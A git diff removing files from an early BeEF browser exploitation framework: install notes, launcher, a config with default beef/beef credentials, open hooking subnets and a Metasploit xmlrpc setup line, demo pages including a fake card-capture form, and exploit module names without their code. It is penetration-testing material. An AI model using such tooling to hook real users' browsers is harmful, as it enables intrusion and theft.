modules/commands/network/linksys_wrt54g_csrf/wrt54g_csrf.js delete mode 100644 modules/commands/network/linksys_wrt54g_csrf/wrt54g_csrf.rb delete mode 100644 modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.js delete mode 100644 modules/commands/network/vtiger_crm_upload_exploit/vtiger_crm_upload_exploit.rb delete mode 100644 modules/commands/persistence/iframe_above/iframe_above.js delete mode 100644 modules/commands/persistence/iframe_above/iframe_above.rb delete mode 100644 modules/commands/persistence/popunder_window/popunder_window.js delete mode 100644 modules/commands/persistence/popunder_window/popunder_window.rb delete mode 100644 modules/commands/recon/collect_links/collect_links.js delete mode 100644 modules/commands/recon/collect_links/collect_links.rb delete mode 100644 modules/commands/recon/detect_cookies_support/detect_cookies.js delete mode 100644 modules/commands/recon/detect_cookies_support/detect_cookies.rb delete mode 100644 modules/commands/recon/detect_soc_nets/detect_soc_nets.js delete mode 100644 modules/commands/recon/detect_soc_nets/detect_soc_nets.rb delete mode 100644 modules/commands/recon/detect_tor/detect_tor.js delete mode 100644 modules/commands/recon/detect_tor/detect_tor.rb delete mode 100644 modules/commands/recon/event_logger/event_logger.js delete mode 100644 modules/commands/recon/event_logger/event_logger.rb delete mode 100644 public/css/base.css delete mode 100644 public/css/ext-all.css delete mode 100644 public/images/default/box/corners-blue.gif delete mode 100644 public/images/default/box/corners.gif delete mode 100644 public/images/default/box/l-blue.gif delete mode 100644 public/images/default/box/l.gif delete mode 100644 public/images/default/box/r-blue.gif delete mode 100644 public/images/default/box/r.gif delete mode 100644 public/images/default/box/tb-blue.gif delete mode 100644 public/images/default/box/tb.gif delete mode 100644 public/images/default/button/arrow.gif delete mode 100644 public/images/default/button/btn.gif delete mode 100644 public/images/default/button/group-cs.gif delete mode 100644 public/images/default/button/group-lr.gif delete mode 100644 public/images/default/button/group-tb.gif delete mode 100644 public/images/default/button/s-arrow-b-noline.gif delete mode 100644 public/images/default/button/s-arrow-b.gif delete mode 100644 public/images/default/button/s-arrow-bo.gif delete mode 100644 public/images/default/button/s-arrow-noline.gif delete mode 100644 public/images/default/button/s-arrow-o.gif delete mode 100644 public/images/default/button/s-arrow.gif delete mode 100644 public/images/default/dd/drop-add.gif delete mode 100644 public/images/default/dd/drop-no.gif delete mode 100644 public/images/default/dd/drop-yes.gif delete mode 100644 public/images/default/editor/tb-sprite.gif delete mode 100644 public/images/default/form/checkbox.gif delete mode 100644 public/images/default/form/clear-trigger.gif delete mode 100644 public/images/default/form/clear-trigger.psd delete mode 100644 public/images/default/form/date-trigger.gif delete mode 100644 public/images/default/form/date-trigger.psd delete mode 100644 public/images/default/form/error-tip-corners.gif delete mode 100644 public/images/default/form/exclamation.gif delete mode 100644 public/images/default/form/radio.gif delete mode 100644 public/images/default/form/search-trigger.gif delete mode 100644 public/images/default/form/search-trigger.psd delete mode 100644 public/images/default/form/text-bg.gif delete mode 100644 public/images/default/form/trigger-tpl.gif delete mode 100644 public/images/default/form/trigger.gif delete mode 100644 public/images/default/form/trigger.psd delete mode 100644 public/images/default/gradient-bg.gif delete mode 100644 public/images/default/grid/arrow-left-white.gif delete mode 100644 public/images/default/grid/arrow-right-white.gif delete mode 100644 public/images/default/grid/col-move-bottom.gif delete mode 100644 public/images/default/grid/col-move-top.gif delete mode 100644 public/images/default/grid/columns.gif delete mode 100644 public/images/default/grid/dirty.gif delete mode 100644 public/images/default/grid/done.gif delete mode 100644 public/images/default/grid/drop-no.gif delete mode 100644 public/images/default/grid/drop-yes.gif delete mode 100644 public/images/default/grid/footer-bg.gif delete mode 100644 public/images/default/grid/grid-blue-hd.gif delete mode 100644 public/images/default/grid/grid-blue-split.gif delete mode 100644 public/images/default/grid/grid-hrow.gif delete mode 100644 public/images/default/grid/grid-loading.gif delete mode 100644 public/images/default/grid/grid-split.gif delete mode 100644 public/images/default/grid/grid-vista-hd.gif delete mode 100644 public/images/default/grid/grid3-hd-btn.gif delete mode 100644 public/images/default/grid/grid3-hrow-over.gif delete mode 100644 public/images/default/grid/grid3-hrow.gif delete mode 100644 public/images/default/grid/grid3-special-col-bg.gif delete mode 100644 public/images/default/grid/grid3-special-col-sel-bg.gif delete mode 100644 public/images/default/grid/group-by.gif delete mode 100644 public/images/default/grid/group-collapse.gif delete mode 100644 public/images/default/grid/group-expand-sprite.gif delete mode 100644 public/images/default/grid/group-expand.gif delete mode 100644 public/images/default/grid/hd-pop.gif delete mode 100644 public/images/default/grid/hmenu-asc.gif delete mode 100644 public/images/default/grid/hmenu-desc.gif delete mode 100644 public/images/default/grid/hmenu-lock.gif delete mode 100644 public/images/default/grid/hmenu-lock.png delete mode 100644 public/images/default/grid/hmenu-unlock.gif delete mode 100644 public/images/default/grid/hmenu-unlock.png delete mode 100644 public/images/default/grid/invalid_line.gif delete mode 100644 public/images/default/grid/loading.gif delete mode 100644 public/images/default/grid/mso-hd.gif delete mode 100644 public/images/default/grid/nowait.gif delete mode 100644 public/images/default/grid/page-first-disabled.gif delete mode 100644 public/images/default/grid/page-first.gif delete mode 100644 public/images/default/grid/page-last-disabled.gif delete mode 100644 public/images/default/grid/page-last.gif delete mode 100644 public/images/default/grid/page-next-disabled.gif delete mode 100644 public/images/default/grid/page-next.gif delete mode 100644 public/images/default/grid/page-prev-disabled.gif delete mode 100644 public/images/default/grid/page-prev.gif delete mode 100644 public/images/default/grid/pick-button.gif delete mode 100644 public/images/default/grid/refresh-disabled.gif delete mode 100644 public/images/default/grid/refresh.gif delete mode 100644 public/images/default/grid/row-check-sprite.gif delete mode 100644 public/images/default/grid/row-expand-sprite.gif delete mode 100644 public/images/default/grid/row-over.gif delete mode 100644 public/images/default/grid/row-sel.gif delete mode 100644 public/images/default/grid/sort-hd.gif delete mode 100644 public/images/default/grid/sort_asc.gif delete mode 100644 public/images/default/grid/sort_desc.gif delete mode 100644 public/images/default/grid/wait.gif delete mode 100644 public/images/default/layout/collapse.gif delete mode 100644 public/images/default/layout/expand.gif delete mode 100644 public/images/default/layout/gradient-bg.gif delete mode 100644 public/images/default/layout/mini-bottom.gif delete mode 100644 public/images/default/layout/mini-left.gif delete mode 100644 public/images/default/layout/mini-right.gif delete mode 100644 public/images/default/layout/mini-top.gif delete mode 100644 public/images/default/layout/ns-collapse.gif delete mode 100644 public/images/default/layout/ns-expand.gif delete mode 100644 public/images/default/layout/panel-close.gif delete mode 100644 public/images/default/layout/panel-title-bg.gif delete mode 100644 public/images/default/layout/panel-title-light-bg.gif delete mode 100644 public/images/default/layout/stick.gif delete mode 100644 public/images/default/layout/stuck.gif delete mode 100644 public/images/default/layout/tab-close-on.gif delete mode 100644 public/images/default/layout/tab-close.gif delete mode 100644 public/images/default/menu/checked.gif delete mode 100644 public/images/default/menu/group-checked.gif delete mode 100644 public/images/default/menu/item-over.gif delete mode 100644 public/images/default/menu/menu-parent.gif delete mode 100644 public/images/default/menu/menu.gif delete mode 100644 public/images/default/menu/unchecked.gif delete mode 100644 public/images/default/panel/corners-sprite.gif delete mode 100644 public/images/default/panel/left-right.gif delete mode 100644 public/images/default/panel/light-hd.gif delete mode 100644 public/images/default/panel/tool-sprite-tpl.gif delete mode 100644 public/images/default/panel/tool-sprites.gif delete mode 100644 public/images/default/panel/tools-sprites-trans.gif delete mode 100644 public/images/default/panel/top-bottom.gif delete mode 100644 public/images/default/panel/top-bottom.png delete mode 100644 public/images/default/panel/white-corners-sprite.gif delete mode 100644 public/images/default/panel/white-left-right.gif delete mode 100644 public/images/default/panel/white-top-bottom.gif delete mode 100644 public/images/default/progress/progress-bg.gif delete mode 100644 public/images/default/qtip/bg.gif delete mode 100644 public/images/default/qtip/close.gif delete mode 100644 public/images/default/qtip/tip-anchor-sprite.gif delete mode 100644 public/images/default/qtip/tip-sprite.gif delete mode 100644 public/images/default/s.gif delete mode 100644 public/images/default/shadow-c.png delete mode 100644 public/images/default/shadow-lr.png delete mode 100644 public/images/default/shadow.png delete mode 100644 public/images/default/shared/blue-loading.gif delete mode 100644 public/images/default/shared/calendar.gif delete mode 100644 public/images/default/shared/glass-bg.gif delete mode 100644 public/images/default/shared/hd-sprite.gif delete mode 100644 public/images/default/shared/large-loading.gif delete mode 100644 public/images/default/shared/left-btn.gif delete mode 100644 public/images/default/shared/loading-balls.gif delete mode 100644 public/images/default/shared/right-btn.gif delete mode 100644 public/images/default/shared/warning.gif delete mode 100644 public/images/default/sizer/e-handle-dark.gif delete mode 100644 public/images/default/sizer/e-handle.gif delete mode 100644 public/images/default/sizer/ne-handle-dark.gif delete mode 100644 public/images/default/sizer/ne-handle.gif delete mode 100644 public/images/default/sizer/nw-handle-dark.gif delete mode 100644 public/images/default/sizer/nw-handle.gif delete mode 100644 public/images/default/sizer/s-handle-dark.gif delete mode 100644 public/images/default/sizer/s-handle.gif delete mode 100644 public/images/default/sizer/se-handle-dark.gif delete mode 100644 public/images/default/sizer/se-handle.gif delete mode 100644 public/images/default/sizer/square.gif delete mode 100644 public/images/default/sizer/sw-handle-dark.gif delete mode 100644 public/images/default/sizer/sw-handle.gif delete mode 100644 public/images/default/slider/slider-bg.png delete mode 100644 public/images/default/slider/slider-thumb.png delete mode 100644 public/images/default/slider/slider-v-bg.png delete mode 100644 public/images/default/slider/slider-v-thumb.png delete mode 100644 public/images/default/tabs/scroll-left.gif delete mode 100644 public/images/default/tabs/scroll-right.gif delete mode 100644 public/images/default/tabs/scroller-bg.gif delete mode 100644 public/images/default/tabs/tab-btm-inactive-left-bg.gif delete mode 100644 public/images/default/tabs/tab-btm-inactive-right-bg.gif delete mode 100644 public/images/default/tabs/tab-btm-left-bg.gif delete mode 100644 public/images/default/tabs/tab-btm-over-left-bg.gif delete mode 100644 public/images/default/tabs/tab-btm-over-right-bg.gif delete mode 100644 public/images/default/tabs/tab-btm-right-bg.gif delete mode 100644 public/images/default/tabs/tab-close.gif delete mode 100644 public/images/default/tabs/tab-strip-bg.gif delete mode 100644 public/images/default/tabs/tab-strip-bg.png delete mode 100644 public/images/default/tabs/tab-strip-btm-bg.gif delete mode 100644 public/images/default/tabs/tabs-sprite.gif delete mode 100644 public/images/default/toolbar/bg.gif delete mode 100644 public/images/default/toolbar/btn-arrow-light.gif delete mode 100644 public/images/default/toolbar/btn-arrow.gif delete mode 100644 public/images/default/toolbar/btn-over-bg.gif delete mode 100644 public/images/default/toolbar/gray-bg.gif delete mode 100644 public/images/default/toolbar/more.gif delete mode 100644 public/images/default/toolbar/tb-bg.gif delete mode 100644 public/images/default/toolbar/tb-btn-sprite.gif delete mode 100644 public/images/default/toolbar/tb-xl-btn-sprite.gif delete mode 100644 public/images/default/toolbar/tb-xl-sep.gif delete mode 100644 public/images/default/tree/arrows.gif delete mode 100644 public/images/default/tree/drop-add.gif delete mode 100644 public/images/default/tree/drop-between.gif delete mode 100644 public/images/default/tree/drop-no.gif delete mode 100644 public/images/default/tree/drop-over.gif delete mode 100644 public/images/default/tree/drop-under.gif delete mode 100644 public/images/default/tree/drop-yes.gif delete mode 100644 public/images/default/tree/elbow-end-minus-nl.gif delete mode 100644 public/images/default/tree/elbow-end-minus.gif delete mode 100644 public/images/default/tree/elbow-end-plus-nl.gif delete mode 100644 public/images/default/tree/elbow-end-plus.gif delete mode 100644 public/images/default/tree/elbow-end.gif delete mode 100644 public/images/default/tree/elbow-line.gif delete mode 100644 public/images/default/tree/elbow-minus-nl.gif delete mode 100644 public/images/default/tree/elbow-minus.gif delete mode 100644 public/images/default/tree/elbow-plus-nl.gif delete mode 100644 public/images/default/tree/elbow-plus.gif delete mode 100644 public/images/default/tree/elbow.gif delete mode 100644 public/images/default/tree/folder-open.gif delete mode 100644 public/images/default/tree/folder.gif delete mode 100644 public/images/default/tree/leaf.gif delete mode 100644 public/images/default/tree/loading.gif delete mode 100644 public/images/default/tree/s.gif delete mode 100644 public/images/default/window/icon-error.gif delete mode 100644 public/images/default/window/icon-info.gif delete mode 100644 public/images/default/window/icon-question.gif delete mode 100644 public/images/default/window/icon-warning.gif delete mode 100644 public/images/default/window/left-corners.png delete mode 100644 public/images/default/window/left-corners.psd delete mode 100644 public/images/default/window/left-right.png delete mode 100644 public/images/default/window/left-right.psd delete mode 100644 public/images/default/window/right-corners.png delete mode 100644 public/images/default/window/right-corners.psd delete mode 100644 public/images/default/window/top-bottom.png delete mode 100644 public/images/default/window/top-bottom.psd delete mode 100644 public/images/favicon.ico delete mode 100644 public/images/icons/beef.gif delete mode 100644 public/images/icons/bsd.png delete mode 100644 public/images/icons/bsdfreebsd.png delete mode 100644 public/images/icons/chrome.png delete mode 100644 public/images/icons/epiphany.png delete mode 100644 public/images/icons/firefox.png delete mode 100644 public/images/icons/green.png delete mode 100644 public/images/icons/grey.png delete mode 100644 public/images/icons/iphone.png delete mode 100644 public/images/icons/konqueror.png delete mode 100644 public/images/icons/linux.png delete mode 100644 public/images/icons/mac.png delete mode 100644 public/images/icons/mozilla.png delete mode 100644 public/images/icons/msie.png delete mode 100644 public/images/icons/opera.ico delete mode 100644 public/images/icons/orange.png delete mode 100644 public/images/icons/red.png delete mode 100644 public/images/icons/safari.png delete mode 100644 public/images/icons/unknown.png delete mode 100644 public/images/icons/win.png delete mode 100644 public/images/statusbar/accept.png delete mode 100644 public/images/statusbar/exclamation.gif delete mode 100644 public/images/statusbar/loading.gif delete mode 100644 public/images/statusbar/saved.png.png delete mode 100644 public/images/statusbar/saving.gif delete mode 100644 public/javascript/ext-all.js delete mode 100644 public/javascript/ext-base.js delete mode 100644 public/javascript/ext-beef.js delete mode 100644 public/javascript/ui/authentication.js delete mode 100644 public/javascript/ui/panel/DataGrid.js delete mode 100644 public/javascript/ui/panel/DistributedEngine.js delete mode 100644 public/javascript/ui/panel/Logout.js delete mode 100644 public/javascript/ui/panel/MainPanel.js delete mode 100644 public/javascript/ui/panel/PanelStatusBar.js delete mode 100644 public/javascript/ui/panel/PanelViewer.js delete mode 100644 public/javascript/ui/panel/WelcomeTab.js delete mode 100644 public/javascript/ui/panel/ZombieTab.js delete mode 100644 public/javascript/ui/panel/ZombieTabs.js delete mode 100644 public/javascript/ui/panel/ZombiesMgr.js delete mode 100644 public/javascript/ui/panel/common.js delete mode 100644 public/javascript/ui/panel/tabs/ZombieTabCommands.js delete mode 100644 public/javascript/ui/panel/tabs/ZombieTabDetails.js delete mode 100644 public/javascript/ui/panel/tabs/ZombieTabLogs.js delete mode 100644 public/javascript/ui/panel/tabs/ZombieTabRequester.js delete mode 100644 public/javascript/ui/panel/zombiesTreeList.js delete mode 100644 public/javascript/ux/PagingStore.js delete mode 100644 public/javascript/ux/StatusBar.js delete mode 100644 public/javascript/ux/TabCloseMenu.js diff --git a/INSTALL b/INSTALL deleted file mode 100644 index 5af36bae4..000000000 --- a/INSTALL +++ /dev/null @@ -1,57 +0,0 @@ -Most of the contents of this file will eventually be added to /install.rb. In the meantime tips, hints and guides for installing beef should be kept here. - -============================================= - - 1. Prerequisites (platform independent) - 2. Prerequisites (Windows) - 3. Prerequisites (Linux) - 4. Prerequisites (Mac OSX) - 5. Install instructions - - - - 1. Prerequisites (platform independent) - - Beef requires ruby 1.8 - - - 2. Prerequisites (Windows) - - Windows requires the sqlite.dll. Simply grab the zip file below and extract it to your Ruby bin directory: - - http://www.sqlite.org/sqlitedll-3_7_0_1.zip - - - 3. Prerequisites (Linux) - - !!! This must be done PRIOR to running the Beef installer !!! - - On linux you will need to find the packages specific to your distribution for sqlite. An example for Ubuntu systems is: - - sudo apt-get install libsqlite3-dev sqlite3 sqlite3-doc - - - You also need to install the ruby-dev package (required for mkmf) - - sudo apt-get install ruby-dev - - - 4. Prerequisites (Mac OSX) - - Make sure you have XCode installed - which provided the sqlite support Beef needs - - - 5. Install instructions - - Obtain application code either by downloading an archive from http://code.google.com/p/beef/downloads/list or checking out the source from http://code.google.com/p/beef/source/checkout - - Navigate to the ruby source directory and run: - - ruby install.rb - - The installer verifies required gems, including any specific version dependencies, as well as performing a 'gem update --system' - - The installer offers a choice of auto-installing missing gems or provides the command so you can install gems manually - - The installer advises of the default username and password - diff --git a/VERSION b/VERSION deleted file mode 100644 index ecb9a36fd..000000000 --- a/VERSION +++ /dev/null @@ -1 +0,0 @@ -0.4.2.4-alpha diff --git a/beef.rb b/beef.rb deleted file mode 100644 index c8ca80226..000000000 --- a/beef.rb +++ /dev/null @@ -1,38 +0,0 @@ -$:.unshift(File.join(File.expand_path(File.dirname(__FILE__)), '.')) - -$root_dir = File.expand_path('..', __FILE__) - -require 'lib/loader' - -# load config -config = BeEF::Configuration.instance - -# disable reverse dns -Socket.do_not_reverse_lookup = true - -# setup database -DataMapper.setup(:default, "sqlite3://#{$root_dir}/#{config.get("database_file_name")}") - -options = BeEF::Console::CommandLine.parse - -if options[:resetdb] - DataMapper.auto_migrate! - BeEF::Migration.instance.update_db! -else - DataMapper.auto_upgrade! -end - -# check for new command modules -BeEF::Migration.instance.update_db! - -BeEF::Console::Banner.generate - -# start the http proxy if enabled in config.ini -if (config.get('http_proxy_enable').to_i > 0) - http_proxy_zombie = BeEF::HttpProxyZombie.instance - http_proxy_zombie.start -end - -# start the hook server -http_hook_server = BeEF::HttpHookServer.instance -http_hook_server.start diff --git a/config.ini b/config.ini deleted file mode 100644 index 87faeffb1..000000000 --- a/config.ini +++ /dev/null @@ -1,51 +0,0 @@ -beef_version = '0.4.2.4-alpha' - -# subnet of browser ip addresses that can hook to the framework -permitted_hooking_subnet = "0.0.0.0/0" - -# subnet of browser ip addresses that can connect to the UI -#permitted_ui_subnet = "127.0.0.1/32" -permitted_ui_subnet = "0.0.0.0/0" - -http_host = "0.0.0.0" -http_port = "3000" -http_dns = "localhost" - -# if running behind a nat set the public ip address here -#http_public = "66.102.11.104" - -http_proxy_enable = 1 -http_proxy_bind_address = "127.0.0.1" -http_proxy_bind_port = "6789" - -http_demo_path = "/demos/basic.html" -http_panel_path = "/ui/panel" -hook_file = "/hook.js" - -ui_username = "beef" -ui_password = "beef" - -hook_session_name="BEEFHOOK" -session_cookie_name="BEEFSESSION" - -crypto_default_value_length=80 -login_fail_delay=1 # in seconds - -database_file_name = "beef.db" - -favicon_file_name = "favicon.ico" -favicon_dir = "/public/images" - - -# Enable MSF by changing enable_msf to 1 -# Then set msf_callback_host to be the public IP of your MSF server -# Ensure you load the xmlrpc interface in Metasploit -# msf > load xmlrpc Pass=abc123 ServerType=Web -# -enable_msf = 0 -msf_host = "127.0.0.1" -msf_path = "/RPC2" -msf_port = 55553 -msf_user = "msf" -msf_pass = "abc123" -msf_callback_host = "127.0.0.1" diff --git a/demos/basic.html b/demos/basic.html deleted file mode 100644 index f30f7ef54..000000000 --- a/demos/basic.html +++ /dev/null @@ -1,32 +0,0 @@ - - - BeEF Basic Demo - - - - - You should be hooked into BeEF. -

- Have fun while your browser is working against you. -

- -

- These links are for demonstrating the "collect links" command module
-

-

- -

- You can also load up a more advanced demo page here -

- - - diff --git a/demos/butcher/butch.css b/demos/butcher/butch.css deleted file mode 100644 index b113f2e5e..000000000 --- a/demos/butcher/butch.css +++ /dev/null @@ -1,59 +0,0 @@ -html { - height: 100%; -} -body { - background: #fff; - padding: 0; - margin: 0; - height: 100%; -} -#content { - position: relative; - width: 800px; - height: 100%; - margin-left: auto; - margin-right: auto; - /*border: solid 1px black;*/ - background-image: url("right.jpg"); - background-repeat: no-repeat; - background-position: right top; -} - -#logo { - position: absolute; - top: 0; - left: 0; - width: 368px; -} -#stuff { - position: relative; - /*border: solid 1px red;*/ - top: 200px; - width: 420px; -} -.bigger { - font-family: "Lucida Sans", arial; - font-size: 18px; -} -.normal { - padding-top: 20px; - font-family: "Lucida Sans", arial; - font-size: 14px; -} -.smaller { - padding-top: 20px; - font-family: "Lucida Sans", arial; - font-size: 8px; -} -#friends { - display: none; - padding-top: 20px; -} -#hamper { - display: none; - padding-top: 20px; -} -a:link {color:#000;} /* unvisited link */ -a:visited {color:#000} /* visited link */ -a:hover {color:#000;} /* mouse over link */ -a:active {color:#000;} /* selected link */ \ No newline at end of file diff --git a/demos/butcher/index.html b/demos/butcher/index.html deleted file mode 100644 index 9e3903091..000000000 --- a/demos/butcher/index.html +++ /dev/null @@ -1,62 +0,0 @@ - - - - - - The Butcher - - - - - - - -
- - -
-
-Welcome to The Butcher, your source of delicious meats. Please feel free to view our samples, sign up to our mailing-list or purchase our special BeEF-hamper! -
-
-   - -
- Delicious delicious hamper, straight to your door!
-
Name:
- Phone:
- Address:
- Credit Card:
- -
-
-
-
- Thanks to http://www.flickr.com/photos/bulle_de/ and http://dineSarasota.com for the BeEF images -
-
-
- - diff --git a/demos/butcher/jquery-1.5.min.js b/demos/butcher/jquery-1.5.min.js deleted file mode 100644 index 9144b8ae9..000000000 --- a/demos/butcher/jquery-1.5.min.js +++ /dev/null @@ -1,16 +0,0 @@ -/*! - * jQuery JavaScript Library v1.5 - * http://jquery.com/ - * - * Copyright 2011, John Resig - * Dual licensed under the MIT or GPL Version 2 licenses. - * http://jquery.org/license - * - * Includes Sizzle.js - * http://sizzlejs.com/ - * Copyright 2011, The Dojo Foundation - * Released under the MIT, BSD, and GPL Licenses. - * - * Date: Mon Jan 31 08:31:29 2011 -0500 - */ -(function(a,b){function b$(a){return d.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function bX(a){if(!bR[a]){var b=d("<"+a+">").appendTo("body"),c=b.css("display");b.remove();if(c==="none"||c==="")c="block";bR[a]=c}return bR[a]}function bW(a,b){var c={};d.each(bV.concat.apply([],bV.slice(0,b)),function(){c[this]=a});return c}function bJ(a,c){a.dataFilter&&(c=a.dataFilter(c,a.dataType));var e=a.dataTypes,f=a.converters,g,h=e.length,i,j=e[0],k,l,m,n,o;for(g=1;g=0===c})}function N(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function F(a,b){return(a&&a!=="*"?a+".":"")+b.replace(q,"`").replace(r,"&")}function E(a){var b,c,e,f,g,h,i,j,k,l,m,n,p,q=[],r=[],s=d._data(this,u);typeof s==="function"&&(s=s.events);if(a.liveFired!==this&&s&&s.live&&!a.target.disabled&&(!a.button||a.type!=="click")){a.namespace&&(n=new RegExp("(^|\\.)"+a.namespace.split(".").join("\\.(?:.*\\.)?")+"(\\.|$)")),a.liveFired=this;var t=s.live.slice(0);for(i=0;ic)break;a.currentTarget=f.elem,a.data=f.handleObj.data,a.handleObj=f.handleObj,p=f.handleObj.origHandler.apply(f.elem,arguments);if(p===!1||a.isPropagationStopped()){c=f.level,p===!1&&(b=!1);if(a.isImmediatePropagationStopped())break}}return b}}function C(a,b,c){c[0].type=a;return d.event.handle.apply(b,c)}function w(){return!0}function v(){return!1}function f(a,c,f){if(f===b&&a.nodeType===1){f=a.getAttribute("data-"+c);if(typeof f==="string"){try{f=f==="true"?!0:f==="false"?!1:f==="null"?null:d.isNaN(f)?e.test(f)?d.parseJSON(f):f:parseFloat(f)}catch(g){}d.data(a,c,f)}else f=b}return f}var c=a.document,d=function(){function I(){if(!d.isReady){try{c.documentElement.doScroll("left")}catch(a){setTimeout(I,1);return}d.ready()}}var d=function(a,b){return new d.fn.init(a,b,g)},e=a.jQuery,f=a.$,g,h=/^(?:[^<]*(<[\w\W]+>)[^>]*$|#([\w\-]+)$)/,i=/\S/,j=/^\s+/,k=/\s+$/,l=/\d/,m=/^<(\w+)\s*\/?>(?:<\/\1>)?$/,n=/^[\],:{}\s]*$/,o=/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,p=/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,q=/(?:^|:|,)(?:\s*\[)+/g,r=/(webkit)[ \/]([\w.]+)/,s=/(opera)(?:.*version)?[ \/]([\w.]+)/,t=/(msie) ([\w.]+)/,u=/(mozilla)(?:.*? rv:([\w.]+))?/,v=navigator.userAgent,w,x=!1,y,z="then done fail isResolved isRejected promise".split(" "),A,B=Object.prototype.toString,C=Object.prototype.hasOwnProperty,D=Array.prototype.push,E=Array.prototype.slice,F=String.prototype.trim,G=Array.prototype.indexOf,H={};d.fn=d.prototype={constructor:d,init:function(a,e,f){var g,i,j,k;if(!a)return this;if(a.nodeType){this.context=this[0]=a,this.length=1;return this}if(a==="body"&&!e&&c.body){this.context=c,this[0]=c.body,this.selector="body",this.length=1;return this}if(typeof a==="string"){g=h.exec(a);if(!g||!g[1]&&e)return!e||e.jquery?(e||f).find(a):this.constructor(e).find(a);if(g[1]){e=e instanceof d?e[0]:e,k=e?e.ownerDocument||e:c,j=m.exec(a),j?d.isPlainObject(e)?(a=[c.createElement(j[1])],d.fn.attr.call(a,e,!0)):a=[k.createElement(j[1])]:(j=d.buildFragment([g[1]],[k]),a=(j.cacheable?d.clone(j.fragment):j.fragment).childNodes);return d.merge(this,a)}i=c.getElementById(g[2]);if(i&&i.parentNode){if(i.id!==g[2])return f.find(a);this.length=1,this[0]=i}this.context=c,this.selector=a;return this}if(d.isFunction(a))return f.ready(a);a.selector!==b&&(this.selector=a.selector,this.context=a.context);return d.makeArray(a,this)},selector:"",jquery:"1.5",length:0,size:function(){return this.length},toArray:function(){return E.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this[this.length+a]:this[a]},pushStack:function(a,b,c){var e=this.constructor();d.isArray(a)?D.apply(e,a):d.merge(e,a),e.prevObject=this,e.context=this.context,b==="find"?e.selector=this.selector+(this.selector?" ":"")+c:b&&(e.selector=this.selector+"."+b+"("+c+")");return e},each:function(a,b){return d.each(this,a,b)},ready:function(a){d.bindReady(),y.done(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(E.apply(this,arguments),"slice",E.call(arguments).join(","))},map:function(a){return this.pushStack(d.map(this,function(b,c){return a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:D,sort:[].sort,splice:[].splice},d.fn.init.prototype=d.fn,d.extend=d.fn.extend=function(){var a,c,e,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i==="boolean"&&(l=i,i=arguments[1]||{},j=2),typeof i!=="object"&&!d.isFunction(i)&&(i={}),k===j&&(i=this,--j);for(;j0)return;y.resolveWith(c,[d]),d.fn.trigger&&d(c).trigger("ready").unbind("ready")}},bindReady:function(){if(!x){x=!0;if(c.readyState==="complete")return setTimeout(d.ready,1);if(c.addEventListener)c.addEventListener("DOMContentLoaded",A,!1),a.addEventListener("load",d.ready,!1);else if(c.attachEvent){c.attachEvent("onreadystatechange",A),a.attachEvent("onload",d.ready);var b=!1;try{b=a.frameElement==null}catch(e){}c.documentElement.doScroll&&b&&I()}}},isFunction:function(a){return d.type(a)==="function"},isArray:Array.isArray||function(a){return d.type(a)==="array"},isWindow:function(a){return a&&typeof a==="object"&&"setInterval"in a},isNaN:function(a){return a==null||!l.test(a)||isNaN(a)},type:function(a){return a==null?String(a):H[B.call(a)]||"object"},isPlainObject:function(a){if(!a||d.type(a)!=="object"||a.nodeType||d.isWindow(a))return!1;if(a.constructor&&!C.call(a,"constructor")&&!C.call(a.constructor.prototype,"isPrototypeOf"))return!1;var c;for(c in a){}return c===b||C.call(a,c)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw a},parseJSON:function(b){if(typeof b!=="string"||!b)return null;b=d.trim(b);if(n.test(b.replace(o,"@").replace(p,"]").replace(q,"")))return a.JSON&&a.JSON.parse?a.JSON.parse(b):(new Function("return "+b))();d.error("Invalid JSON: "+b)},parseXML:function(b,c,e){a.DOMParser?(e=new DOMParser,c=e.parseFromString(b,"text/xml")):(c=new ActiveXObject("Microsoft.XMLDOM"),c.async="false",c.loadXML(b)),e=c.documentElement,(!e||!e.nodeName||e.nodeName==="parsererror")&&d.error("Invalid XML: "+b);return c},noop:function(){},globalEval:function(a){if(a&&i.test(a)){var b=c.getElementsByTagName("head")[0]||c.documentElement,e=c.createElement("script");e.type="text/javascript",d.support.scriptEval()?e.appendChild(c.createTextNode(a)):e.text=a,b.insertBefore(e,b.firstChild),b.removeChild(e)}},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,e){var f,g=0,h=a.length,i=h===b||d.isFunction(a);if(e){if(i){for(f in a)if(c.apply(a[f],e)===!1)break}else for(;g1?(g=Array(c),d.each(b,function(a,b){d.when(b).then(function(b){g[a]=arguments.length>1?E.call(arguments,0):b,--c||e.resolveWith(f,g)},e.reject)})):e!==a&&e.resolve(a);return f},uaMatch:function(a){a=a.toLowerCase();var b=r.exec(a)||s.exec(a)||t.exec(a)||a.indexOf("compatible")<0&&u.exec(a)||[];return{browser:b[1]||"",version:b[2]||"0"}},sub:function(){function a(b,c){return new a.fn.init(b,c)}d.extend(!0,a,this),a.superclass=this,a.fn=a.prototype=this(),a.fn.constructor=a,a.subclass=this.subclass,a.fn.init=function b(b,c){c&&c instanceof d&&!(c instanceof a)&&(c=a(c));return d.fn.init.call(this,b,c,e)},a.fn.init.prototype=a.fn;var e=a(c);return a},browser:{}}),y=d._Deferred(),d.each("Boolean Number String Function Array Date RegExp Object".split(" "),function(a,b){H["[object "+b+"]"]=b.toLowerCase()}),w=d.uaMatch(v),w.browser&&(d.browser[w.browser]=!0,d.browser.version=w.version),d.browser.webkit&&(d.browser.safari=!0),G&&(d.inArray=function(a,b){return G.call(b,a)}),i.test(" ")&&(j=/^[\s\xA0]+/,k=/[\s\xA0]+$/),g=d(c),c.addEventListener?A=function(){c.removeEventListener("DOMContentLoaded",A,!1),d.ready()}:c.attachEvent&&(A=function(){c.readyState==="complete"&&(c.detachEvent("onreadystatechange",A),d.ready())});return a.jQuery=a.$=d}();(function(){d.support={};var b=c.createElement("div");b.style.display="none",b.innerHTML="
